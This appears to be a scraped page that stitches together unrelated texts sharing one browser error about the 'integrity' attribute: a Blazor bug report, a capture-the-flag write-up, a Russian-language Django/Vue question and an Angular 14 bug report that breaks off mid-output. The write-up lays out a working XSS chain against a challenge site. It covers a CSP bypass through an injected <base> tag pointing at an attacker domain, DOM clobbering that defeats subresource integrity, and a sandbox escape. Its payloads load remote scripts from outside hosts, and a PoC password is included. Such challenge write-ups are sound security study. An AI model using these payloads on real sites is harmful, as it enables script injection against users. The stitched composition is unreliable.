Error parsing integrity attribute

Describe the bug After trying to open a published blazor app on IIS, I get the following error message: Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be...

Describe the bug

After trying to open a published blazor app on IIS, I get the following error message:

Error parsing ‘integrity’ attribute (‘undefined’). The hash algorithm must be one of ‘sha256’, ‘sha384’, or ‘sha512’, followed by a ‘-‘ character.
(anonymous) @ blazor.webassembly.js:1
:90/_framework/undefined:1 Uncaught SyntaxError: Unexpected token ‘<‘

To Reproduce

Example project with publish profile: https://github.com/dantronik-markus/blazor-publish-bug

Exceptions (if any)

Error parsing ‘integrity’ attribute (‘undefined’). The hash algorithm must be one of ‘sha256’, ‘sha384’, or ‘sha512’, followed by a ‘-‘ character.
(anonymous) @ blazor.webassembly.js:1
:90/_framework/undefined:1 Uncaught SyntaxError: Unexpected token ‘<‘

Further technical details

  • ASP.NET Core version 6.0.0 Preview 4
  • Include the output of dotnet --info

dotnet —info
>dotnet —info
.NET SDK (gemäß «global.json»):
Version: 6.0.100-preview.4.21255.9
Commit: 950e4949a7

Laufzeitumgebung:
OS Name: Windows
OS Version: 10.0.19042
OS Platform: Windows
RID: win10-x64
Base Path: C:Program Filesdotnetsdk6.0.100-preview.4.21255.9

Host (useful for support):
Version: 6.0.0-preview.4.21253.7
Commit: bfd6048a60

.NET SDKs installed:
2.1.202 [C:Program Filesdotnetsdk]
3.0.100-preview9-014004 [C:Program Filesdotnetsdk]
3.1.100-preview3-014645 [C:Program Filesdotnetsdk]
3.1.100 [C:Program Filesdotnetsdk]
3.1.115 [C:Program Filesdotnetsdk]
3.1.200-preview-014883 [C:Program Filesdotnetsdk]
3.1.200-preview-014977 [C:Program Filesdotnetsdk]
3.1.201 [C:Program Filesdotnetsdk]
5.0.100-preview.6.20318.15 [C:Program Filesdotnetsdk]
5.0.100-rc.1.20452.10 [C:Program Filesdotnetsdk]
5.0.104 [C:Program Filesdotnetsdk]
5.0.300-preview.21258.4 [C:Program Filesdotnetsdk]
6.0.100-preview.4.21255.9 [C:Program Filesdotnetsdk]

.NET runtimes installed:
Microsoft.AspNetCore.All 2.1.12 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.All]
Microsoft.AspNetCore.All 2.1.14 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.All]
Microsoft.AspNetCore.All 2.1.28 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.All]
Microsoft.AspNetCore.App 2.1.12 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 2.1.14 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 2.1.28 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.0.0-preview9.19424.4 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.0 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.2 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.3 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.4 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 3.1.15 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.0-preview.2.20167.3 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.0-rc.1.20451.17 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.4 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.5 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 5.0.6 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.0-preview.4.21253.5 [C:Program FilesdotnetsharedMicrosoft.AspNetCore.App]
Microsoft.NETCore.App 2.0.9 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 2.1.12 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 2.1.14 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 2.1.28 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.0.0-preview9-19423-09 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.0 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.2 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.3 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.4 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 3.1.15 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.0-rc.1.20451.14 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.4 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.5 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 5.0.6 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.NETCore.App 6.0.0-preview.4.21253.7 [C:Program FilesdotnetsharedMicrosoft.NETCore.App]
Microsoft.WindowsDesktop.App 3.0.0-preview9-19423-09 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.0 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.2 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.3 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 3.1.15 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.0-rc.1.20452.2 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.4 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.5 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.6 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.0-preview.4.21254.5 [C:Program FilesdotnetsharedMicrosoft.WindowsDesktop.App]

To install additional .NET runtimes or SDKs:
https://aka.ms/dotnet-download

— The IDE (VS / VS Code/ VS4Mac) you’re running on, and its version
Visual Studio Version 16.11.0 Preview 1.0

Cover image for wacky

pirateducky

pirateducky

Posted on Nov 10, 2020

• Updated on Nov 16, 2020

Objectives:

  1. You must alert(origin) showing https://wacky.buggywebsite.com
  2. You must bypass CSP
  3. It must be reproducible using the latest version of Chrome
  4. You must provide a working proof-of-concept on bugpoc.com

Summary:

Bypassed access restrictions to /frame.html which allowed me to inject and render html, bypassed csp using the <base> element to execute a remote javascript file, bypassed the integrity check and broke out of the iframe’s sandbox to execute alert(origin) which was not possible due to the sandbox attribute given to the iframe we end up in.

Thank you for the challenge — hope everyone likes this writeup, there is a visualization for the exploits you can check out after reading this.

Exploit

bucpoc exploit: jGQnU5oH (works on latest Chrome version)

bugpoc password: SociAlcRAne15

This is the bugpoc.com payload:

<!-- Front-End BugPoC -->

<html>
    <!-- TODO implement -->
  <h1>NOTHING TO SEE HERE</h1>
</html>

<script>
window.open("https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Cbase%20href=%27https://4d46opa6bb58.redir.bugpoc.ninja%27%3E%3Ca%20id=fileIntegrity%3E%3Ca%20id=fileIntegrity%20name=value%20href=nah%3E", "iframe")
</script>

Enter fullscreen mode

Exit fullscreen mode

Alt Text

Technical Details

The following sections will walk through the technical details on each part of the challenge. Enjoy

  • initial foothold
  • csp but make it vulnerable
  • integrity || GTFO

    • bypass
  • it’s clobberin time
  • the great escape
  • poc diy

Initial foothold

The challenge is at https://wacky.buggywebsite.com/ which loads an application that gets user input and turns it into «wacky text». This is implemented by loading an iframe from /frame.html which is where the code for turning the normal text into wacky text is located. It is also important to mention that this iframe has a sort of access control which «protects» it from being loaded directly from the browser:

Alt Text

Back in / we can see the html source and see the iframe being loaded correctly

...
<div class="round-div">
    <span style="opacity:.5">Enter Boring Text:</span>
    <br>
    <textarea id="txt">Hello, World!</textarea>
    <div style="text-align: center;">
    <button id="btn">Make Whacky!</button>
    </div>
    <br>
    <iframe src="frame.html?param=Hello, World!" name="iframe" id="theIframe"></iframe>
</div>
...

Enter fullscreen mode

Exit fullscreen mode

The access control is implemented in the script loaded inside /frame.html . The code below shows the «verification» that determines if the iframe we are interested in can be loaded

// this checks the window name before dynamically generating the iframe we need
if (window.name == 'iframe') {

    // securely load the frame analytics code
    // this just need to eval to true (the actual value doesn't matter)
    if (fileIntegrity.value) {

    // create a sandboxed iframe
    analyticsFrame = document.createElement('iframe');
    analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
    analyticsFrame.setAttribute('class', 'invisible');
    document.body.appendChild(analyticsFrame);

}

Enter fullscreen mode

Exit fullscreen mode

The script checks the window.name to see if it’s called iframe and if it is — it continues execution, if the name does not match the iframe does not get created. This is interesting, since the window.name can be set when opening a window from an arbitrary domain using window.open("https://evilwebsite.com", "nameforwindow") , with this we should be able to open the frame.html

<html>
<!-- put this in a server you control -->
<body>
<!-- this will open the site given it the window.name='iframe' that we need -->
<script>window.open("https://wacky.buggywebsite.com/frame.html?param=hello", "iframe")</script>
</body>
</html>

Enter fullscreen mode

Exit fullscreen mode

Alt Text

Now that we have access to this file we can pass it what we want using the query string param=somethig. This is good for us since our input is going directly into the page, if you check where the input is being reflected you’ll notice you can close the <title> tag using: /frame.html?param=</title> now everything after that will be valid html and we can continue to try to get our alert.

CSP

Even though html is injectable, all interesting elements get blocked because of the CSP

I use https://csp-evaluator.withgoogle.com to see if there is anything interesting anytime I see a CSP policy (it helped that the challenge mentioned a CSP bypass)

content-security-policy: script-src 'nonce-hafjcerljbyi' 'strict-dynamic'; frame-src 'self'; object-src 'none';

Alt Text

The one that stuck out was base-uri [missing] when looking at MDN we can see the following:

  • base-uri directive restricts the URLs which can be used in a document’s element. If this value is absent, then any URI is allowed. If this directive is absent, the user agent will use the value in the element

Now let’s look at the MDN page for the element:

  • Links pointing to a fragment in the document — e.g. <a href="#some-id"> — are resolved with the <base>, triggering an HTTP request to the base URL with the fragment attached. For example:
  • Given <base href="https://example.com">
  • …and this link: <a href="#anchor">Anker</a>
  • …the link points to https://example.com/#anchor

Let’s go back to the /frame.html?parameter=</title> and look for something interesting in the rendered html

Alt Text

This iframe caught my eye because it gets built dynamically by:

<script nonce="jllvokubhfmz">

        window.fileIntegrity = window.fileIntegrity || {
            'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
            'algorithm' : 'sha256',
            'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
            'creationtime' : 1602687229
        }

        // verify we are in an iframe
        if (window.name == 'iframe') {

            // securely load the frame analytics code
            if (fileIntegrity.value) {

                // create a sandboxed iframe
                analyticsFrame = document.createElement('iframe');
                analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
                analyticsFrame.setAttribute('class', 'invisible');
                document.body.appendChild(analyticsFrame);

                // securely add the analytics code into iframe
                script = document.createElement('script');
                script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
                script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
                script.setAttribute('crossorigin', 'anonymous');
                analyticsFrame.contentDocument.body.appendChild(script);

            }

        } else {
            document.body.innerHTML = `
            <h1>Error</h1>
            <h2>This page can only be viewed from an iframe.</h2>
            <video width="400" controls>
                <source src="movie.mp4" type="video/mp4">
            </video>`
        }

    </script>

Enter fullscreen mode

Exit fullscreen mode

The code above shows how the iframe and script are built, the one that’s interesting is script.setAttribute('src', 'files/analytics/js/frame-analytics.js'); which sets the src attribute, this path is relative, and how do relative paths determine where to resolve? base-uri which can be set by adding a <base href='https://evildomain.com> element:

  • payload: https://wacky.buggywebsite.com/frame.html?param=</title><base href="https://evildomain.com">

This will allow us to include a file from an arbitrary domain we control — since after we inject our <base> element the file will actually be fetched from https://evildomain.com/files/analytics/js/frame-analytics.js giving us a way to inject arbitrary javascript.

Integrity — nah

Now that we know we can trick the application to load a file from a source we control, we can load our file and be done right? Unfortunately if we try to do this — the request will fail, this is because of the integrity attribute that’s added in this line script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);

Alt Text

Before we go into how to get around that, let’s see what this integrity thing is, from the RFC provided by the source script

  • An author wants to include JavaScript provided by a third-party analytics service. To ensure that only the code that has been carefully reviewed is executed, the author generates integrity metadata for the script, and adds it to the script element

This is what’s happening here — the script that is being loaded doesn’t pass the integrity check and fails to load, so this is where I was stuck for a while.

The bypass here is to get the hash value to give us a parsing error, which is done by sending anything that isn’t valid base64 as the integrity value, we also have to make sure we return the ACAO header with * to fulfill the requirements from the RFC

Alt Text

Alt Text

This allows us to get our script to load and execute.

Heard you like backwards compatibility?

This section explains the SRI bypass I found which allows me to use any script without having to provide a valid hash by producing a parser error.

I was a bit confused here for a bit, even after solving the challenge. Why is the script still loaded? Why was I still getting a console error? I wanted answers. So I did some digging.

The error we get after clobbering the fileIntegrity(more on this later) object is a bit different, if you don’t clobber the fileIntegrity object you get this error when trying to load the resource from your server:

"Failed to find a valid digest in the 'integrity' attribute for resource '" + resourceUrl + "' with computed SHA-256 integrity '" + digest + "'. The resource has been blocked."

Which blocks our source from being loaded.

But after you clobber the fileIntegrity object, the error simply says:

Error parsing 'integrity' attribute ('" + attribute + "'). The digest must be a valid, base64-encoded value."

And our script still loads:
Screen Shot 2020-11-11 at 8.15.36 AM

That distinction[the difference in error message] makes all the difference, looking at how the parser error is generated from the source: SubresourceIntegrity.cpp

Screen Shot 2020-11-07 at 3.54.43 PM

The browser couldn’t parse the hash value because it’s not valid base64, by looking at which if statement causes the error we can see that in our case we do get the error message but our script is allowed in and execution continues, and by looking at the comments it’s clear that the
reason why this happens is for backwards compatibility:

code from chromium source, it explains how the if statement that gives us the parsing error works.

Here is a resource being blocked due to an integrity check:
Screen Shot 2020-11-11 at 8.20.20 AM

Now how do we generate this parsing error?

Thanks https://twitter.com/acut3hack for the nudge for this next part.

DOM Clobbering

Let’s do a recap of what has brought us here.

  • We can load an iframe that takes in user input un-sanitized /frame.html?param=dirtydata
    • achieved by using window.open("domain", "windowname")
  • There is a csp in place
    • csp can be bypassed by injecting <base href=https://evildomain.com> with our current injection
    • The <base> element sets the domain for assets that come from relative paths()
  • The script that is being dynamically built is now being loaded from https://evildomain.com/files/analytics/js/frame-analytics.js
    • This means we can control what’s inside frame-analytics.js
  • The file is being prevented from executing because of the integrity check 😢
    • The bypass involves changing the value of the hash to get a parsing error which will raise an error but allow the script to load
      • Currently the hash is stored in a global object fileIntegrity.value

The first interesting thing to notice is how the integrity attribute is being generated:

window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
...

script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
...

Enter fullscreen mode

Exit fullscreen mode

The value for the integrity attribute is stored in the fileIntegrity.value object which can be accessed globally. The browser works in mysterious ways…because we can use the html injection we currently have to «clobber» the value and replace with something we can control. 🤯

Because of how the browser treats elements with id attributes, we can «clobber» the fileIntegrity object and store arbitrary data in it, which means we can create our invalid sha256 hash which will produce the error we need

Alt Text

We can cause this almost mystical attack by using the following payload

/frame.html?param=</title><base href="https://evildomain.com"><a id=fileIntegrity><a id=fileIntegrity name=value href=quack>

That will allow us to completely reset the global object fileIntegrity and set the arbitrary value we need fileIntegrity.value so it can cause the parsing error, and the file we have hosted on https://evildomain.com/files/analytics/js/frame-analytics.js will actually get loaded and it will execute in our context.

Alt Text

iframe

I went for it here — I hosted the file and used alert(1) and when I went to execute….nothing.

Alt Text

Turns out the sandbox attribute that was added to the parent iframe prevents us from using any prompts like alert prompt etc by using this value "allow-scripts allow-same-origin" it will only allow us to execute scripts 😭

On to MDN we go again to find the following:

Alt Text

This is interesting — it shows that the attribute values we currently have can be misused and possibly lead to unexpected behavior.

My first idea was to remove the attribute itself from the parent iframe by using the script we currently control, that means that the contents of my frame-analytics.js would have to:

  1. Find the iframe that we are interested in
  2. Remove sandbox attribute by using Element.removeAttribute(attributeName)
  3. Pop my alert and be on my way right?

In short — no, it’s not that easy to trick the browser into letting us pop alerts, after you remove the attribute and it’s values the browser will still complain that we aren’t being safe and will fallback to that same sandbox and after some google-fu I stumbled onto this beautiful blogpost https://danieldusek.com/escaping-improperly-sandboxed-iframes.html which goes into more detail into what’s going on. Since we can run js let’s completely remove the «safe» iframe and replace it with a much nicer, trusting one. We’ll also use the same trick to get a parsing error for the script we are going to use which will contain our final alert

// find the iframe with the sandbox
var og = parent.document.getElementsByTagName('iframe')[0];
// create a nicer iframe :yay
var hack = document.createElement('iframe');
// append out nicer iframe to the body
parent.document.body.append(hack);
// remove the mean iframe
og.parentNode.removeChild(og)

// create a script tag
script = document.createElement('script');
// I used bugpocs mock endpoint & flexible redirector to also load this
// it only contais alert(origin)
script.setAttribute('src', 'https://gfeku9odpbh4.redir.bugpoc.ninja');
// integrity parser error so our script loads
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
// cors settings
script.setAttribute('crossorigin', 'anonymous');
// add the script which will pop our alert 
hack.contentDocument.body.appendChild(script);

Enter fullscreen mode

Exit fullscreen mode

This right here does the job, it accomplishes all the requirements above and allows us to execute our alert with no restrictions.

Alt Text

BugPoc

Initially this was made using aws, but when solving it, I got this:

Alt Text

And it made me want to do it, so here I’ll explain how I achieved this.

Using bugpoc’s mock endpoint I created an endpoint that would load the initial script needed:

https://mock.bugpoc.ninja/blahhh/m?sig=e186e17016d4331acbb13ee8f399ff0b8d53bdeb4ca6d84f039a499a6e8d240e
&statusCode=200&headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}
&body=
var og = parent.document.getElementsByTagName('iframe')[0];
var hack = document.createElement('iframe');

parent.document.body.append(hack);
og.parentNode.removeChild(og)

script = document.createElement('script');
script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');
script.setAttribute('integrity', 'sha256-http://evildomain.com/nah')
script.setAttribute('crossorigin', 'anonymous');
hack.contentDocument.body.appendChild(script);

Enter fullscreen mode

Exit fullscreen mode

Then I used the Flexible Redirector to create a redirect that would load this when it got hit from:

https://blahh.redir.bugpoc.ninja/files/analytics/js/frame-analytics.js

The next step is generating the script that will load the alert(origin) that will eventually pop without any restrictions, using the fact that generating a parser error will allow us to load any file regardless of it’s hash we can load a script with the alert we need.

Create another endpoint like this

https://mock.bugpoc.ninja/blahh/m?sig=2ab43ab3a0ed597f35060df005eaab7f38ecc167799ac3b853362fc8624953cc&statusCode=200&
headers={"Access-Control-Allow-Origin":"*","Content-Type":"application/javascript"}&
body=alert(origin)

Enter fullscreen mode

Exit fullscreen mode

And create a flexible redirect to this that will load the script:

script.setAttribute('src', 'https://blahhh.redir.bugpoc.ninja');

Tying all that together you can then create a PoC and add the payload:

bucpoc exploit: jGQnU5oH (works on latest Chrome version)

bugpoc password: SociAlcRAne15

Alt Text

That creates a PoC entirely using bugpoc.com which is honestly pretty cool.

Thanks for the challenge!

Resources

https://google.com

https://www.acunetix.com/blog/articles/finding-source-dom-based-xss-vulnerability-acunetix-wvs/

https://danieldusek.com/escaping-improperly-sandboxed-iframes.html

https://report-uri.com/home/sri_hash

https://portswigger.net/research/dom-clobbering-strikes-back

https://developer.mozilla.org

https://csp-evaluator.withgoogle.com/

https://medium.com/@terjanq/dom-clobbering-techniques-8443547ebe94!

#django #vue.js

Вопрос:

Я работал с Django 3.x уже почти два года и только начал использовать Vue js около недели, используя документацию, чтобы попытаться изучить предполагаемый способ. До сих пор мои точки доступа к api работают так, как задумано, всякий раз, когда я НЕ использую интерфейс Vue для создания объектов. Итак, перейдем к коду. Я попытался отправить отчет с помощью реквизита из Home.vue в Detail.vue, но по какой-то причине он, похоже, загружается не больше, чем noc_ticket. На всякий случай, main.js поскольку маршрутизатор был сделан в спешке, когда я учился, я сомневаюсь, что это проблема, но вы никогда не знаете.

Вот мой код обезьяны:

Домой.vue

 <template>
  <div class="home">
    <div class="container">
      <div class="container-fluid">
        <h1 class="mt-4">Dashboard</h1>
        <ol class="breadcrumb mb-4">
          <li class="breadcrumb-item active">Dashboard</li>
        </ol>
        <div class="row">
          <div class="col-xl-3 col-md-6">
            <div class="card bg-primary text-white mb-4">
              <div class="card-body">Report Archive</div>
              <div
                class="
                  card-footer
                  d-flex
                  align-items-center
                  justify-content-between
                "
              >
                <a class="small text-white stretched-link" href=""
                  >View Details</a
                >
                <div class="small text-white">
                  <i class="fas fa-angle-right"></i>
                </div>
              </div>
            </div>
          </div>
          <div class="col-xl-3 col-md-6">
            <div class="card bg-danger text-white mb-4">
              <div class="card-body">Initial Report</div>
              <div
                class="
                  card-footer
                  d-flex
                  align-items-center
                  justify-content-between
                "
              >
                <a class="small text-white stretched-link" href=""
                  >View Details</a
                >
                <div class="small text-white">
                  <i class="fas fa-angle-right"></i>
                </div>
              </div>
            </div>
          </div>
          <div class="col-xl-3 col-md-6">
            <div class="card bg-warning text-white mb-4">
              <div class="card-body">Report Update</div>
              <div
                class="
                  card-footer
                  d-flex
                  align-items-center
                  justify-content-between
                "
              >
                <a class="small text-white stretched-link" href=""
                  >View Details</a
                >
                <div class="small text-white">
                  <i class="fas fa-angle-right"></i>
                </div>
              </div>
            </div>
          </div>
          <div class="col-xl-3 col-md-6">
            <div class="card bg-success text-white mb-4">
              <div class="card-body" href="">Finalize Report</div>
              <div
                class="
                  card-footer
                  d-flex
                  align-items-center
                  justify-content-between
                "
              >
                <a class="small text-white stretched-link" href=""
                  >View Details</a
                >
                <div class="small text-white">
                  <i class="fas fa-angle-right"></i>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="row">
          <h1>Summary Table</h1>
          <div class="container container-fluid">
            <table class="table table-hover table-bordered">
              <thead>
                <tr>
                  <th scope="col">TSRM Ticket</th>
                  <th scope="col">Type Of Outage</th>
                  <th scope="col">Amount of Affected Clients</th>
                  <th scope="col">Impacted Municipalities</th>
                </tr>
              </thead>

              <tbody>
                <!-- start making the for loop here -->
                <tr v-for="report in reports" :key="report.pk">
                  <td>
                    <router-link
                      :to="{
                        name: 'detail',
                        params: { noc_ticket: report.noc_ticket },
                      }"
                    >
                      {{ report.noc_ticket }}</router-link
                    >
                  </td>

                  <td v-for="outage in report.outage_type" :key="outage.id">
                    {{ outage.outage_type }}
                  </td>
                  <td
                    v-for="client_amount in report.clients"
                    :key="client_amount.id"
                  >
                    {{ client_amount.client_amount }}
                  </td>

                  <td
                    v-for="municipality in report.municipalities.split(' ')"
                    :key="municipality"
                  >
                    {{ municipality }},
                  </td>
                </tr>
                <!-- End it here. -->
              </tbody>
            </table>
          </div>
        </div>

        <div class="row">
          <h1>
            <!-- {#            Mini Charts go here.#} -->
          </h1>
        </div>
      </div>
    </div>
  </div>
</template>

<script>
// @ is an alias to /src
import { apiService } from "../common/api.service.js";
export default {
  name: "Home",
  data() {
    return {
      reports: [],
    };
  },
  methods: {
    getReports() {
      let endpoint = `api/report-list`;
      apiService(endpoint).then((data) => {
        this.reports.push(...data);
      });
    },
  },
  created() {
    this.getReports();
    console.log(this.reports);
  },
};
</script>

 

Подробности.Vue

 <template>
  <div class="detail container">
    <div class="jumbotron jumbotron-fluid">
      <div class="container">
        <h1 class="display-4">Report Details</h1>
        <p class="lead">Highlighted Report Table</p>
      </div>
    </div>
    <h1 >{{ noc_ticket }}</h1>
    <p >{{ report.notes }}</p>
  </div>
</template>

<script>
// @ is an alias to /src
import { apiService } from "../common/api.service.js";
export default {
  name: "Report",
  props: {
    noc_ticket: {
      type: String,
      required: true,
    },
    
  },
  data() {
    return {
      report: {},
    };
  },
  methods: {
    getReportData() {
      let endpoint = `/api/report-detail/${this.noc_ticket}/`;
      apiService(endpoint).then(data => {
        Object.assign(this.report, data);
        // this.report = data;
      });
    },
  },
  created() {
    this.getReportData();
  },
};
</script>

 

router/index.js

 import Vue from "vue";
import VueRouter from "vue-router";
import Home from "../views/Home.vue";
import Detail from "../views/Detail.vue";

Vue.use(VueRouter);

const routes = [
  {
    path: "/",
    name: "Home",
    component: Home,
  },
  {
    path: "/report-detail/:noc_ticket/",
    name: "detail",
    component: Detail,
    props: true,
  },
];

const router = new VueRouter({
  mode: "history",
  base: '/',
  routes,
});

export default router;
 

Редактировать
Я забыл ввести свой консольный вывод, приношу свои извинения.
Вывод на консоль

 [HMR] Waiting for update signal from WDS...
2L3K4J2LK34J2L3:1 Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be one of 'sha256', 'sha384', or 'sha512', followed by a '-' character.
2L3K4J2LK34J2L3:1 Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be one of 'sha256', 'sha384', or 'sha512', followed by a '-' character.
api.service.js?5ce5:21 SyntaxError: Unexpected token < in JSON at position 0
 

Комментарии:

1. в вашей консоли должна быть ошибка, откройте элемент «Проверка» на вкладке «Консоль». где-то должна быть ошибка. и вы можете сделать console.log(данные). чтобы узнать, получаете ли вы данные, которые вы намеревались

2. Unexpected token < похоже на HTML. Возможно, сервер возвращает HTML-страницу 404 вместо JSON.

3. Эту часть я не особенно понимаю, я передаю службу api без проблем в список Home.vue.

🐞 Bug report

Command (mark with an x)

  • new
  • build
  • serve
  • test
  • e2e
  • generate
  • add
  • update
  • lint
  • extract-i18n
  • run
  • config
  • help
  • version
  • doc

Is this a regression?

Yes, the previous version in which this bug was not present was: latest 13

Description

We just ported our project to Angular 14, and suddenly started getting this error:

the script element has a malformed attribute in its integrity attribute: «undefined»

we tracked it down to a module being lazily loaded. Looking around, we found that its entry being missing from the sriHashes object in runtime.js.

Since:

  • there is only one chunk missing in the object, and it’s the one with id 0, and
  • adding "namedChunks": true, to the build configuration seems to solve the problem.

it is for me very tempting to think that it is excluded from the dict because it’s falsy. But I’m far from being able to check this.

🔬 Minimal Reproduction

🔥 Exception or Error


runtime.aee066f47596daf1.js:1 Error parsing 'integrity' attribute ('undefined'). The hash algorithm must be one of 'sha256', 'sha384', or 'sha512', followed by a '-' character.
r.l @ runtime.aee066f47596daf1.js:1
r.f.j @ runtime.aee066f47596daf1.js:1
(anonymous) @ runtime.aee066f47596daf1.js:1
r.e @ runtime.aee066f47596daf1.js:1
loadChildren @ 481.e2b93596f818f247.js:1
loadModuleFactoryOrRoutes @ main.310f6dcb216b5b59.js:1
loadChildren @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
preload @ main.310f6dcb216b5b59.js:1
preloadConfig @ main.310f6dcb216b5b59.js:1
processRoutes @ main.310f6dcb216b5b59.js:1
processRoutes @ main.310f6dcb216b5b59.js:1
processRoutes @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
Z @ main.310f6dcb216b5b59.js:1
G @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
o @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
Z.subscribe.J @ main.310f6dcb216b5b59.js:1
_next @ main.310f6dcb216b5b59.js:1
next @ main.310f6dcb216b5b59.js:1
(anonymous) @ main.310f6dcb216b5b59.js:1
invoke @ polyfills.a47fa4e6e63a4ebe.js:1
onInvoke @ main.310f6dcb216b5b59.js:1
invoke @ polyfills.a47fa4e6e63a4ebe.js:1
run @ polyfills.a47fa4e6e63a4ebe.js:1
(anonymous) @ polyfills.a47fa4e6e63a4ebe.js:1
invokeTask @ polyfills.a47fa4e6e63a4ebe.js:1
onInvokeTask @ main.310f6dcb216b5b59.js:1
invokeTask @ polyfills.a47fa4e6e63a4ebe.js:1
runTask @ polyfills.a47fa4e6e63a4ebe.js:1
_ @ polyfills.a47fa4e6e63a4ebe.js:1
Promise.then (async)
q @ polyfills.a47fa4e6e63a4ebe.js:1
R @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
onScheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleTask @ polyfills.a47fa4e6e63a4ebe.js:1
scheduleMicroTask @ polyfills.a47fa4e6e63a4ebe.js:1
te @ polyfills.a47fa4e6e63a4ebe.js:1
X @ polyfills.a47fa4e6e63a4ebe.js:1
(anonymous) @ polyfills.a47fa4e6e63a4ebe.js:1
H @ runtime.aee066f47596daf1.js:1
(anonymous) @ 924.955924dd1d522bd9.js:1
Show 12 more frames

🌍 Your Environment


❯ ng version

     _                      _                 ____ _     ___
